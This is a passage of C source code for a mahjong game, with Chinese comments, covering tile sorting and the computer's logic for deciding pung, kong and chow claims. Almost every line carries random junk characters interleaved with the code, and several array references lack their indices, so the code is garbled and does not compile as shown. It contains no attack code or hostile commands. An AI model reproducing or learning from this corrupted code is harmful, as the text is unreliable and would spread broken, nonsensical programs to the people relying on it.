# [3 v% n: z& w; P# z8 h; X0 s' vu=computer.pp[n].number;" D, ?* j$ M( ^0 c0 G
computer.pp[n].number=computer.pp[j+1].number;
4 B& A* @3 ?" z: |computer.pp[j+1].number=u;
2 ]; Y4 n& \2 ?}
0 n4 g# d8 M$ l% }}
/ b% A- i6 w2 I) R. I1 M7 Y( o3 C}3 s( R  g4 A0 Y6 I+ I
void melipai()
" }: n3 p% [4 T  e! u3 K# A{ int n,j,u;
; ?; @" l# w) r+ dint *lingshi;/ g- J& |* Z/ d# L% Y
for(n=0;n&lt;me.m;n++)$ I# |8 M: u. P* o, P
for(j=n;j&lt;me.m;j++)
) U- a# v" [8 a5 L4 d7 G{# i) w9 H6 E3 k; r! ~. }
if(me.pp[n].number&gt;me.pp[j+1].number)
/ S" p" b) }% c7 J! O{7 [6 U, T! {5 o4 E$ N1 [2 r; D# r
lingshi=me.pp[n].k;3 E( r  P) l) y- u% V- ]( G
me.pp[n].k=me.pp[j+1].k;1 {/ b$ [4 k6 \. A; v
me.pp[j+1].k=lingshi;
3 p* r( x  ]* Ru=me.pp[n].oneorfour;
! }; p1 z+ S3 \4 H3 t: }5 p, @$ A+ ume.pp[n].oneorfour=me.pp[j+1].oneorfour;% N; {0 Q  h$ Q9 d0 ]  \
me.pp[j+1].oneorfour=u;; T8 h! A5 ^9 D7 U) A. T6 K5 e& v
u=me.pp[n].number;* L( g& C6 F4 u% `- v5 K/ A" K
me.pp[n].number=me.pp[j+1].number;( q6 ?9 K" m$ o6 x3 M7 P
me.pp[j+1].number=u;$ J: g/ h8 U0 i  h& I
}
6 o! a: }* a4 j* c1 uelse
5 I! d7 ^6 F9 N6 Uif(me.pp[n].number==me.pp[j+1].number)
% W4 w- r$ C% j. I! aif(me.pp[n].oneorfour&gt;me.pp[j+1].oneorfour)
! E0 |" b" I. |2 g{3 b% ]: `- z2 p- m
lingshi=me.pp[n].k;
. `( m. ]* A" R3 kme.pp[n].k=me.pp[j+1].k;
; F: }+ }: I$ P' y& C" L; Y9 `8 k' Ame.pp[j+1].k=lingshi;" }3 u4 \0 E9 l3 A" N8 k, g
u=me.pp[n].oneorfour;5 x/ Q3 g2 }: D5 r2 F
me.pp[n].oneorfour=me.pp[j+1].oneorfour;
8 T2 H1 _2 B9 h( f" Z& ~- fme.pp[j+1].oneorfour=u;. D: s  b3 m, j0 w4 K
u=me.pp[n].number;
& E1 s, }" i8 {! _1 W2 Pme.pp[n].number=me.pp[j+1].number;% L( L6 A9 Q! c* t( o  e: }
me.pp[j+1].number=u;& G6 H& r+ V& Q  o- a
}
; U4 ?7 g( c5 p}
3 @2 I% l) x$ O% N}0 Q* T" k. {0 |
void rgzn(int c) /*本程序涵数的核心针对电脑的牌*/
" X/ z9 J. g* O% r" i4 P4 D4 S{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;
) |2 q* d5 U9 {0 e# a* G) V2 Z8 ?if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=0)& Y: `" q  F& A) ?) u6 M
{$ D) m' r. S" ?: y. B' f
logo=1;
( ]4 X6 K. v1 |if(me.pp[c].number&lt;=3 &amp;&amp; me.pp[c].number&gt;=0)
0 R+ g' d& S" A3 F6 l0 ~logoo=1;
: D" i2 N$ k: U9 h1 v' Z+ A# ?else if(me.pp[c].number&lt;=7 &amp;&amp; me.pp[c].number&gt;=4)
, ^2 @6 y& B: n9 Y$ @logoo=2;  N, z' v4 q( [, u" ^2 j) E
else if(me.pp[c].number&lt;=11 &amp;&amp; me.pp[c].number&gt;=8)
/ j, ~+ O5 v& `7 \' R+ P/ Qlogoo=3;
& I( q! S0 M+ W; j0 a* R9 K! l/ T8 qelse if(me.pp[c].number&lt;=15 &amp;&amp; me.pp[c].number&gt;=12)& H  g6 u9 {7 j. K
logoo=4;
3 d, {+ a, [# U3 V/ {- p9 P/ helse if(me.pp[c].number&lt;=19 &amp;&amp; me.pp[c].number&gt;=16)
& m* L0 u( }" xlogoo=5;
$ l! J' |  L8 |2 selse if(me.pp[c].number&lt;=23 &amp;&amp; me.pp[c].number&gt;=20)0 F0 I2 l7 s. n: t7 ~4 p
logoo=6;, [3 i& X. g  }' w
else if(me.pp[c].number&lt;=27 &amp;&amp; me.pp[c].number&gt;=24)
' T+ t5 \& J' m5 {. s. xlogoo=7;. U8 {3 s* F0 @8 V$ l
else if(me.pp[c].number&lt;=31 &amp;&amp; me.pp[c].number&gt;=28)
' `/ o. O/ T& u% n6 Nlogoo=8;
/ ~* i  h" J, K8 ]else if(me.pp[c].number&lt;=35 &amp;&amp; me.pp[c].number&gt;=32). x9 u! |! I1 n- p
logoo=9;
+ ^: _7 h: \" e4 ?- z$ w7 V" B}
  h2 n$ b5 r, Ielse if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=36)
) T- m! v% N4 w. q{7 y9 U% q& u# O9 @
logo=2;; s7 q2 O. d$ i3 C4 n2 Q: Q
if(me.pp[c].number&lt;=39 &amp;&amp; me.pp[c].number&gt;=36)0 M* o3 K" P# h" K0 M
logoo=1;: i+ E& a4 m/ ^) [4 f9 b
else if(me.pp[c].number&lt;=43 &amp;&amp; me.pp[c].number&gt;=40)0 [5 d; }: B% f" g
logoo=2;7 y* q% i% x& }! y
else if(me.pp[c].number&lt;=47 &amp;&amp; me.pp[c].number&gt;=44)% U) Z% S+ A1 b1 V
logoo=3;7 w# j- Q8 L& K* }" D) X
else if(me.pp[c].number&lt;=51 &amp;&amp; me.pp[c].number&gt;=48)$ @. m" W' Z' z6 [! G8 [$ z; X$ u
logoo=4;
% D& N4 l) \' ~. z! Celse if(me.pp[c].number&lt;=55 &amp;&amp; me.pp[c].number&gt;=52)
  m# Z0 `( M4 y. [3 ~: f: ilogoo=5;7 Z) k! O  C$ a* Y! R
else if(me.pp[c].number&lt;=59 &amp;&amp; me.pp[c].number&gt;=56)% v3 `, |& H. O) q
logoo=6;
* m2 n) ?4 [' kelse if(me.pp[c].number&lt;=63 &amp;&amp; me.pp[c].number&gt;=60)
7 A1 b: i7 `7 D% o* w: a% Qlogoo=7;
$ Z" b1 c) w$ R8 H4 n. helse if(me.pp[c].number&lt;=67 &amp;&amp; me.pp[c].number&gt;=64)/ `2 O0 ?) ]0 s+ @, }% i& F
logoo=8;; V$ {6 X  k) C' y
else if(me.pp[c].number&lt;=71 &amp;&amp; me.pp[c].number&gt;=68): @* ^* U' D1 n/ y" E! m
logoo=9;5 G/ i/ f9 D* y& w
}
6 Z2 x  \0 \( A" s1 Z% G  Lelse if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=72)
2 x! W# m5 [/ ^3 r{
4 ?. r8 Z/ x( I  n  elogo=3;
& O# b4 J/ q6 k- c7 [if(me.pp[c].number&lt;=75 &amp;&amp; me.pp[c].number&gt;=72)0 g& S- l; y! J+ N9 c, ?, Y; K
logoo=1;, ?5 v# {% e3 k, ^6 L
else if(me.pp[c].number&lt;=79 &amp;&amp; me.pp[c].number&gt;=76)( h1 L  Z  N1 g% ]! o6 M3 Y' I
logoo=2;
6 I7 ~" i2 h/ h. W& Gelse if(me.pp[c].number&lt;=83 &amp;&amp; me.pp[c].number&gt;=80)
4 _3 c9 V" M: B* H6 O/ ^logoo=3;
! H; q; Y7 D# b# D+ yelse if(me.pp[c].number&lt;=87 &amp;&amp; me.pp[c].number&gt;=84)
9 O% z! y* O# a" {logoo=4;
( Y3 O4 ~" w0 T+ Y  J& Q( f% E& helse if(me.pp[c].number&lt;=91 &amp;&amp; me.pp[c].number&gt;=88)
) q* {  X1 {1 ^5 G  Wlogoo=5;" ~. ?) U- C9 a
else if(me.pp[c].number&lt;=95 &amp;&amp; me.pp[c].number&gt;=92). c. X6 u8 \" L# y
logoo=6;
/ f) r  b+ R9 y" u# _7 E& j1 u4 Ielse if(me.pp[c].number&lt;=99 &amp;&amp; me.pp[c].number&gt;=96)7 I3 K% b  ]/ l) h# h: i9 t
logoo=7;
7 z% u1 }# Q3 |else if(me.pp[c].number&lt;=103 &amp;&amp; me.pp[c].number&gt;=100)
% d. @3 E7 Y5 I! ~& y# z) B8 [& ~- s8 ologoo=8;
1 ]: C1 u5 \9 D3 i7 H8 l2 ^else if(me.pp[c].number&lt;=107 &amp;&amp; me.pp[c].number&gt;=104)7 h. r& A  b: |4 Q  e6 ]3 P/ {
logoo=9;7 ^3 e. I+ U5 z4 ~- n1 t
}
# E6 M% B3 |; z* }% velse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=108)
7 s6 L$ ]# I$ M% W7 o{7 e4 p# |0 ^0 k% U, T9 U' D; H1 l" s' X
logo=4;" O; S& q' Z3 {6 C0 n
if(me.pp[c].number&lt;=111 &amp;&amp; me.pp[c].number&gt;=108)% ]: {) U- @2 U! \! o( x9 e! I( z
logoo=1;- Y0 N' M8 g4 N6 F5 j' H* Q  d& m$ f9 l
else if(me.pp[c].number&lt;=115 &amp;&amp; me.pp[c].number&gt;=112)
, h. s! Y+ m8 U" Ylogoo=2;
7 ?4 }2 a. E7 _4 belse if(me.pp[c].number&lt;=119 &amp;&amp; me.pp[c].number&gt;=116)) I( O. D! r' {: `3 ]4 n
logoo=3;
3 R$ V+ a- E: W3 E/ Felse if(me.pp[c].number&lt;=123 &amp;&amp; me.pp[c].number&gt;=120)& p4 K. e& k( V: u& |
logoo=4;
0 j# O& b  Y8 U3 A) F/ N3 kelse if(me.pp[c].number&lt;=127 &amp;&amp; me.pp[c].number&gt;=124)& g! l- _) a( g8 ]7 [- b$ L- k
logoo=5;8 k; q- Q. c+ i8 d/ @
else if(me.pp[c].number&lt;=131 &amp;&amp; me.pp[c].number&gt;=128)' G; x* Y; ^. r6 V5 t
logoo=6;
& U9 ^" }6 q+ L, q6 Felse if(me.pp[c].number&lt;=135 &amp;&amp; me.pp[c].number&gt;=132)8 g" D1 T* ?' w# D
logoo=7;
7 T* o' t/ E3 I' S$ b! f}
7 _$ R5 j2 B4 p6 ^( swhile(b&lt;=computer.m)
5 Z7 G* a  Y) E  T$ d* w{/ x3 x' ]2 ~- e) M( V: Z5 o
if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=0) /*假定电脑经过分析后出了第一张牌*/' t& {: y7 q4 `, C
{
; s0 x! ^7 j2 Y1 e  b/ V, q, Ilg=1;" G4 M0 O$ N  c9 _% l( F
computer.pp.d[0]=1;, x' g) R. e' Q2 T2 O  q! d
if(computer.pp.number&lt;=3 &amp;&amp; computer.pp.number&gt;=0). S8 A7 H* \) v% _" \
{
3 l3 q, o; Q! w8 ^( k3 ?lgg=1;: \; m& C  Y5 A4 Y9 H& C0 `
computer.pp.d[1]=1;
" \; y& a7 f# U}- l8 T4 C7 v0 O$ ?
else if(computer.pp.number&lt;=7 &amp;&amp; computer.pp.number&gt;=4)
  K" [# n' B5 W{* ]$ W# F& B! ^5 D
lgg=2;
. H+ H! O& B( z  S. W$ s8 g3 Gcomputer.pp.d[1]=2;0 q' ^6 d6 i7 l0 w' C" A0 K8 G
}
6 S' P+ \& b. S5 Melse if(computer.pp.number&lt;=11 &amp;&amp; computer.pp.number&gt;=8)' u' }/ L8 X1 B
{
6 H0 S" m$ d4 i; ^( N. B- `/ {lgg=3;4 v  M; G* c! L% }" J+ q, q0 W
computer.pp.d[1]=3;
8 I+ s, L+ x, V1 L9 J: N}7 R- A% M6 K6 P) Q6 b
else if(computer.pp.number&lt;=15 &amp;&amp; computer.pp.number&gt;=12)0 w( m. x; V5 P6 w; U
{
. u3 O8 q  {) m  F% Algg=4;
- J) ^6 N$ @; x9 q' m8 mcomputer.pp.d[1]=4;
* x/ Y7 E  @- {  W! A}; V; s4 {" ]- W
else if(computer.pp.number&lt;=19 &amp;&amp; computer.pp.number&gt;=16); G' \7 y# p% o
{* l- [4 s" v/ W# Y
lgg=5;
& l% m% c. u9 Y0 l% lcomputer.pp.d[1]=5;8 G2 X5 I" D3 l6 l4 u2 z
}
& n' {8 u. U  n' z1 O6 O( K7 N0 s' H& `else if(computer.pp.number&lt;=23 &amp;&amp; computer.pp.number&gt;=20)
4 q7 \  M6 Q' p" o& t4 O{
- I- `- m5 H3 ^4 klgg=6;
- P, p7 R0 D+ i; L/ X/ K1 v+ xcomputer.pp.d[1]=6;& ^# Q+ b. c, n6 ?
}2 J; z( \" c5 E; m
else if(computer.pp.number&lt;=27 &amp;&amp; computer.pp.number&gt;=24)
. M9 [& Z$ v# v3 l5 b* h{
, @/ d, M9 A7 s; b3 f/ K) ilgg=7;2 n/ s! w" I( `5 X2 U* [5 X
computer.pp.d[1]=7;
, M& L. D6 m; F: @, H; L}
4 k* B) R* {5 z' d1 _+ [+ [: zelse if(computer.pp.number&lt;=31 &amp;&amp; computer.pp.number&gt;=28)
: i4 `! u+ Z  f0 H7 N! G{
* X) F* b) n( j' G+ ~lgg=8;/ K9 c# X8 c' c7 [
computer.pp.d[1]=8;0 v' D1 N; i3 [5 N* E
}
2 v' ?8 b2 n( r. i( \' Uelse if(computer.pp.number&lt;=35 &amp;&amp; computer.pp.number&gt;=32)% A6 T- r2 y2 b8 I6 J  V
{/ `: f! G5 e4 _; J; S" _$ S' ]
lgg=9;' {, a6 O+ N% U3 [1 G& L1 g/ A
computer.pp.d[1]=9;
8 ^' d& I- G, j, Q6 W4 \}0 L/ a/ ?; Q  X$ q
}
1 s( t/ U% ]: N$ }3 Z# G+ belse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=36)! J9 d' b( }' Q2 a
{
* _0 G4 U3 b4 C4 rlg=2;9 c/ j* s) ^2 R! H: ~& j8 {4 F
computer.pp.d[0]=2;
. X! {) s; J1 u4 ^9 g6 a, dif(computer.pp.number&lt;=39 &amp;&amp; computer.pp.number&gt;=36)  r8 ]( d, }5 l/ ]
{6 g6 O; g1 j1 i3 y, L4 }' ]
lgg=1;) c- ^7 y, C, a2 t
computer.pp.d[1]=1;
+ [4 G. t  A0 }  D}
$ N' n5 L# f( i8 D3 {8 telse if(computer.pp.number&lt;=43 &amp;&amp; computer.pp.number&gt;=40)3 C1 o: V" y; c7 X9 {
{
* B% u4 l4 f8 m, g- }" Ulgg=2;* ]3 s% G4 F) P$ R! _
computer.pp.d[1]=2;. f% ?! J( A1 T6 k. `* w
}
5 d: l" U6 M0 Celse if(computer.pp.number&lt;=47 &amp;&amp; computer.pp.number&gt;=44)
# c3 t% b2 O4 p- [' f2 ]1 h0 z{' V$ L2 T, Q6 ^" A' d# h5 M
lgg=3;
2 I% O- V) Z- e) q. U) H5 {computer.pp.d[1]=3;- ~0 t6 j$ L0 B# c
}
/ H5 l& t$ q; t* s1 ]$ T: Eelse if(computer.pp.number&lt;=51 &amp;&amp; computer.pp.number&gt;=48)6 X9 i* J" e& }
{1 d# |9 u$ P2 l. h# m
lgg=4;
1 D8 k* r0 f# X/ T  H! u% x/ jcomputer.pp.d[1]=4;
: g( U4 M0 K4 I. v5 c9 ]; t& p}# j5 g+ M  j& w2 ]. o
else if(computer.pp.number&lt;=55 &amp;&amp; computer.pp.number&gt;=52)6 k  ?2 N9 H4 w' o* z4 T3 U, `
{/ j. B1 w  [8 X1 I7 M+ Z
lgg=5;
  s. P' x( C- d3 p( `; L8 acomputer.pp.d[1]=5;$ k9 f% t) j1 m7 u
}
7 N! A7 v5 P8 e! O1 zelse if(computer.pp.number&lt;=59 &amp;&amp; computer.pp.number&gt;=56)
8 u, V  B; M* K9 i" }2 }{
8 N# H$ W2 V* B, u, Olgg=6;8 A2 C! A! v) K( N5 ~# i
computer.pp.d[1]=6;
4 C9 p6 m: Z. ]}& c+ l  E( z  e/ U
else if(computer.pp.number&lt;=63 &amp;&amp; computer.pp.number&gt;=60); n6 x* Z* S- q( y$ {0 D, ^
{1 {: m$ T1 y) r5 f" ]1 b
lgg=7;
$ \0 C+ b+ u% V( `8 L( o! c$ D2 ]computer.pp.d[1]=7;& _1 v4 i8 l4 {. f/ B0 s/ l# D( H
}
5 h6 D& [# b9 Y6 x$ jelse if(computer.pp.number&lt;=67 &amp;&amp; computer.pp.number&gt;=64)2 W; v2 x6 i" `0 t2 M+ q" q; k: f3 D3 p
{
' g: g, |# N$ O6 m+ W: |lgg=8;& h9 Y' [5 c' [4 |/ ~+ \# K
computer.pp.d[1]=8;0 |& Y: x5 w* m  g( h3 l- P! N
}
" Q. k" Y- |9 Eelse if(computer.pp.number&lt;=71 &amp;&amp; computer.pp.number&gt;=68): h4 R- \  h8 y5 a9 A5 s
{
, v3 a& ]/ ^9 s  q0 ylgg=9;
* B9 t1 ?% t: d; _1 ]7 i  P0 A" R) }computer.pp.d[1]=9;
1 z* d3 `4 r1 j$ D( ]( o( e7 c7 e4 y}
/ @9 N! `5 P# l$ `}9 F; ^8 p/ D4 L* a" H; {% T
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=72)
/ h$ c) k8 Q) X7 [1 d$ d{6 F5 F6 I9 E2 O" P, {2 \1 s
lg=3;& d  m0 W8 S$ ?3 ~
computer.pp.d[0]=3;
4 O% D0 D1 I' O- v8 K! _if(computer.pp.number&lt;=75 &amp;&amp; computer.pp.number&gt;=72)
9 H% v/ u: H# ~6 m* W{
6 B9 j8 n! b  Q8 G* N7 Q# ]lgg=1;; L1 f/ \# L5 r, X! ~* C- b
computer.pp.d[1]=1;0 O/ v4 w1 b; {: j' }
}5 f. H6 X# a# W0 ^$ q& }3 {
else if(computer.pp.number&lt;=79 &amp;&amp; computer.pp.number&gt;=76)
# `9 X3 K& G. j+ x4 E9 ]& {' h{
) g, F4 P$ k2 T) V+ n* Ulgg=2;1 y2 d4 R( f: o) S: s
computer.pp.d[1]=2;
, `* M# s0 V+ M8 i6 O}* x* p2 Q6 j" b6 ]
else if(computer.pp.number&lt;=83 &amp;&amp; computer.pp.number&gt;=80)4 i' r: c  l2 c/ I, w1 X
{& f  Z  h3 k4 {/ d" p3 v' f
lgg=3;* u7 ?( \) J; J) l4 N) D! a
computer.pp.d[1]=3;
8 {6 t' L" X& G0 b( e}6 b0 @' L9 }) t' h2 j
else if(computer.pp.number&lt;=87 &amp;&amp; computer.pp.number&gt;=84)& k# P% ^% Q. p; ?: i; x9 a
{
5 |; s: L" V2 |  C, L  W" ?% vlgg=4;
: w  O) ?  @- h; S2 }2 s5 f1 ocomputer.pp.d[1]=4;
* N: J; h4 g* w/ a1 K' f- }) y. ?}5 |0 K' ^; P0 O* |$ c- P) ]
else if(computer.pp.number&lt;=91 &amp;&amp; computer.pp.number&gt;=88)
2 I& l! E$ F% [{
" T3 A: L6 s- p2 {9 ?lgg=5;; a* }: c, E/ x# k
computer.pp.d[1]=5;
! `5 ^+ H$ y+ K0 p6 O}
4 s3 y, M5 P+ g5 Welse if(computer.pp.number&lt;=95 &amp;&amp; computer.pp.number&gt;=92)
+ M& e: f/ |' w# c{
" x1 A- q' t! p; [9 s, l0 [" wlgg=6;
5 i* M" g( r4 \8 L" u* M! p' Z# vcomputer.pp.d[1]=6;
. s  p4 A, q* q, {; {/ W5 k}+ c$ s0 a; o3 \
else if(computer.pp.number&lt;=99 &amp;&amp; computer.pp.number&gt;=96)
2 ]  {; d7 {" |{
" l+ C5 m; l% J$ J1 {" S5 v; _# v  blgg=7;
1 [: q2 M" `  m0 B# }computer.pp.d[1]=7;
. u5 s4 `4 d1 |7 c  h  _}7 A) y# g2 O$ p: c7 M. Q
else if(computer.pp.number&lt;=103 &amp;&amp; computer.pp.number&gt;=100)
! U, `2 ~+ h, H8 n{( E* s2 p4 M* d% z" c1 D# B3 N  ?
lgg=8;+ ]1 w( C) g+ F
computer.pp.d[1]=8;( S( W, Y) n& Q, a6 Q
}, z+ |; z4 d1 m" ?! W2 F. @
else if(computer.pp.number&lt;=107 &amp;&amp; computer.pp.number&gt;=104)
. B3 [5 G# C( g2 i& a5 t{* _4 y; r, }3 e/ E5 O: t
lgg=9;. X/ ^" @' B3 I+ F
computer.pp.d[1]=9;
+ G. d; c; Y# Q: J# L}
: U9 H7 R5 l  a- k. H9 W  l3 e/ V& c}0 r( A; J( v3 m4 h! A
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=108)
1 _1 `: Q3 ?( n% V  d2 V: m+ |{6 k0 w6 M  c; ?' C) K9 y2 W
lg=4;: j! m- q" I: [8 r; x  n
computer.pp.d[0]=4;
; z4 P! ^9 a- w  m9 I6 rif(computer.pp.number&lt;=111 &amp;&amp; computer.pp.number&gt;=108)
+ k& t3 @, H  [" Q5 z/ ]{
! z7 ]( q' g; N3 g# C3 [+ S# K* Q& Klgg=1;
" s% A: H, p3 t6 y0 q+ k- Q/ fcomputer.pp.d[1]=1;" k  \) `( y6 z" s
}
7 `2 g# O" i7 Belse if(computer.pp.number&lt;=115 &amp;&amp; computer.pp.number&gt;=112)
- S/ j) G- a6 g{6 S4 Y! J; Q, R3 q6 r. e6 v* T
lgg=2;
+ X: c8 {4 O$ Kcomputer.pp.d[1]=2;- G8 X8 ?6 H6 j/ W
}
0 k& u% _8 D: S4 M* }9 t4 ~" Kelse if(computer.pp.number&lt;=119 &amp;&amp; computer.pp.number&gt;=116)/ Z( k/ d# g/ f4 W0 O: c8 @- s
{+ o3 o1 i* C$ U: c$ L5 R* z) g
lgg=3;
! g0 ?9 I% H: h2 g0 t, Scomputer.pp.d[1]=3;
! l, w' b8 x6 p! _6 L8 C% K/ a' B; r}
4 J- F: @. z. B7 ?else if(computer.pp.number&lt;=123 &amp;&amp; computer.pp.number&gt;=120)- i% E1 g4 o+ g. W: m
{: E  t4 S! @' `! s! \( q
lgg=4;
( s4 r* i4 s) y+ s* s" P8 acomputer.pp.d[1]=4;# C$ I7 |" M% {+ Z
}
, f3 O& O' e. b3 Oelse if(computer.pp.number&lt;=127 &amp;&amp; computer.pp.number&gt;=124)
9 K/ X5 V" q+ R5 ]{9 t( C9 Y9 E# v/ G
lgg=5;/ P8 C" D& P  I8 c( {8 @" b
computer.pp.d[1]=5;- x' y0 s( n, _4 q
}
9 {% c5 x* H2 F8 R7 t3 Xelse if(computer.pp.number&lt;=131 &amp;&amp; computer.pp.number&gt;=128)6 \: Y) k0 p3 Q! X& V7 h* |# `
{% q4 D$ f: }1 D
lgg=6;6 ?: C1 v1 {" S- Q
computer.pp.d[1]=6;  E$ d' a$ ^7 _3 b& Y* s4 N! g
}3 O, R( @) i: l
else if(computer.pp.number&lt;=135 &amp;&amp; computer.pp.number&gt;=132)5 |( N. D6 ]. D( i5 H
{
! j* f4 @2 N5 I# s  k* dlgg=7;. C5 r# q( d3 s
computer.pp.d[1]=7;1 W" g: L0 b1 v- r) O5 B1 n2 o
}1 C' w4 I5 O4 Y" s  v
}
1 s. Z2 @: R. Z6 s7 Z+ e$ R/ _/ n0 N- @
if(logo==lg) /*如果相等的话,那再进一步的判断,乓杠的判断*/
4 |: o0 F3 X+ I! T5 nif(logoo==lgg)+ b% L: _1 Q; u- e9 i0 Y
pg++;
6 [; l$ S* U! l  \; q, rch.lg=lg; /*保存电脑手里的每张牌的信息*/
$ r/ _/ I. d, h& rch.lgg=lgg;
9 n* o6 H& H# b4 J3 Ylg=0;
9 z2 I! ~6 f: j/ ^, ]1 K4 ~/ rlgg=0;
4 l5 j* L* T8 m- f/ Qb++;' R6 k% E9 H$ D4 z
}
# ?9 n/ r6 u# |2 n8 ~! Rif(pg==2) /*乓*/
0 B6 j* t1 F* F{
& b4 N. f2 w+ o, F' L6 w
5 F9 U3 G/ f8 u5 s( r) S% using=1;( Q" [( D+ g) D) h
b=computer.m;8 B+ V" {, A; K0 g& Y
while(b!=-1)2 @4 f) [6 V5 Y8 c9 B1 L
{
  i: }3 q. I8 F: {: M( p2 }7 aif(strcmp(me.pp[c].k,computer.pp.k)==0)$ c6 m; T& @2 k2 S5 N1 @) p, }
computer.pp.p=1;. ~" F  k; _4 X1 y- b! V

0 m4 L8 {( d# }% Z. t7 ^b--;
) E' ]  B" c4 s}0 D( O' N7 Z  ?9 @- |; m% B$ r. O) Q
}! a- a7 X* |( K; b+ g5 q; B( N) ^
if(pg==3) /*杠*/0 {9 c& {. b( g$ F
{: r; K9 j; i! g4 y1 U7 P; K
8 w4 K& R! R) R! u# T' ?3 y$ w6 B
sing=2;
: W! ?& ~8 t: r  Y' Mb=computer.m;
4 c7 l; j( K3 j( N2 k; Bwhile(b!=-1)& ~- v3 }" k/ R. D6 z
{
0 w/ Y6 U; M5 V2 H3 S$ X8 lif(strcmp(me.pp[c].k,computer.pp.k)==0), d* w1 p- Z0 ?8 F0 m" m
computer.pp.g=1;
; ~9 u9 ]/ W+ g9 e/ s6 j: Ib--;
2 K0 q9 c" E5 G0 A/ r4 V. k}- P' Q+ n: `+ O7 T  d
}
" o- Y7 h. z# u0 q9 I; l* J; {4 z" x' ff=0;7 k% }- }9 J- B! K: v
while(f&lt;computer.m) /*吃的判断*/
9 h, X9 `8 j* f8 Q% h( B" j5 S{ if(ch[f].lg==logo &amp;&amp; ch[f].lg!=4)! \1 z4 Y6 k0 |7 h5 \5 ?
{' _7 D9 z/ b- L2 O  F  i
if(ch[f+1].lgg-ch[f].lgg==1) /*顺吃*/
4 ?5 ], [* ~/ bif(ch[f].lgg-logoo==1)
+ _0 f6 ^. I3 b9 W! I{9 z* ]2 C3 j$ j& N
gp++;
3 U/ p0 O0 o2 f+ a  l4 p, `computer.pp[f].c=1;4 g5 o: B5 z' G6 Z
computer.pp[f+1].c=1;* |8 U6 ^9 b, V7 Q, m
}! s9 A! F# a0 {0 G2 @1 o/ n
if(ch[f].lgg-ch[f+1].lgg==-1) /*逆吃*/
  ^1 F7 P$ I7 }* T& wif(ch[f+1].lgg-logoo==-1)- b+ [* \4 A: v' c9 U3 h1 u/ B
{
, C2 M9 A, Z& r9 f* Q9 n! t4 h, }gp++;
5 l5 t! L4 N% ?! g4 r6 D, scomputer.pp[f].c=1;2 V; I( N. A1 Q* b4 b
computer.pp[f+1].c=1;
2 l1 C* j& f9 I) B* V}- r- a! z6 j# i, H: I" N2 G# ^
if(ch[f].lgg-logoo==-1) /*中吃*/. W& I, h: s  r. h2 i5 c. T
if(ch[f+1].lgg-logoo==1)9 n  a) R9 b/ u  {
{
# n% G+ a/ y* I) z( l+ R( Tgp++;
) P8 j0 ~; x" ]0 J& fcomputer.pp[f].c=1;
6 E/ Z$ |1 L) m2 {) H4 w1 Jcomputer.pp[f+1].c=1;
' K$ r$ V$ d0 \0 c( `) N% ^}
0 V: \+ [& C$ }9 V3 [if(gp==1)
0 Z8 v" d2 o: y! f+ W7 Nbreak;- `  R5 H+ J1 s1 `
}
9 i  [# M' y  e; ]! Z+ f1 p" Vf++;5 d, r( [4 s% S  Z
}
( A% u7 ]5 y7 C0 k! X4 Aif(gp==1)
# Q8 i3 x2 w5 O{sing=7;& I- e5 o6 d( ^$ x! Q
2 A" N9 Z5 B0 Q* G
}
6 |6 l! i. x" L3 H, z5 _5 V: \! Rpg=0;
2 G. I, a3 j1 Pgp=0;/ G9 ~9 f- I$ Y+ s" m, w
b=0;& `5 ]  Z  K% A
}
+ B( n* N9 E$ S. nvoid rgznme(int c) /*本程序涵数的核心针对我的牌*/
! k6 _9 f3 X9 `{ int b=0,lg,lgg,logo,logoo,pg=0,gp=0,cs=0,f=0;$ x) ?: e/ A! f' Z
if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=0): b4 o. M  H* [. X
{
/ h- K' B- l7 S6 Y  v* e' I. Z! V+ Qlogo=1;
; J0 R9 E) `' R& nif(computer.pp[c].number&lt;=3 &amp;&amp; computer.pp[c].number&gt;=0); O; q* S; j/ c; s, z9 x
logoo=1;
$ u! A8 k: u4 q& P8 aelse if(computer.pp[c].number&lt;=7 &amp;&amp; computer.pp[c].number&gt;=4)# y- N$ a. O6 d
logoo=2;* \' O4 w6 t0 T
else if(computer.pp[c].number&lt;=11 &amp;&amp; computer.pp[c].number&gt;=8)6 f/ Q1 F8 B- W
logoo=3;  P- j% ?, b# J! k5 d
else if(computer.pp[c].number&lt;=15 &amp;&amp; computer.pp[c].number&gt;=12)
; U6 j2 c7 ]1 e2 blogoo=4;
8 W$ `5 G8 l6 Q$ @else if(computer.pp[c].number&lt;=19 &amp;&amp; computer.pp[c].number&gt;=16)
8 ~) j; F1 U0 g/ G( G* A1 @! Jlogoo=5;
3 B4 C# c# W2 l9 Felse if(computer.pp[c].number&lt;=23 &amp;&amp; computer.pp[c].number&gt;=20). Z( y9 M% J# R* A
logoo=6;
2 u' L- b: y# a% Selse if(computer.pp[c].number&lt;=27 &amp;&amp; computer.pp[c].number&gt;=24)/ O$ H* L2 U  U+ W1 Z5 W
logoo=7;4 W7 `# s1 b( j" P# A& p* y  u2 |
else if(computer.pp[c].number&lt;=31 &amp;&amp; computer.pp[c].number&gt;=28)2 K! U1 Q5 T3 _, u% h
logoo=8;8 b+ k/ o% V& `* L# W
else if(computer.pp[c].number&lt;=35 &amp;&amp; computer.pp[c].number&gt;=32)3 A' g- ?; e& R
logoo=9;
- _( @1 P" x% d}+ ?0 I3 F# g8 S4 c0 j
else if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=36)) x3 K. t$ D5 |; \0 z$ r9 |" n" D  j
{, M% A. v, I/ k! S5 E2 `4 k% C
logo=2;" ?1 |, z7 g5 q) z! @* p9 R
if(computer.pp[c].number&lt;=39 &amp;&amp; computer.pp[c].number&gt;=36)
: E$ o+ L% C  ^7 y; s, Nlogoo=1;
9 o+ y5 u  u/ s( U0 M2 Ielse if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)& L2 s! `( v. Y5 x
logoo=2;
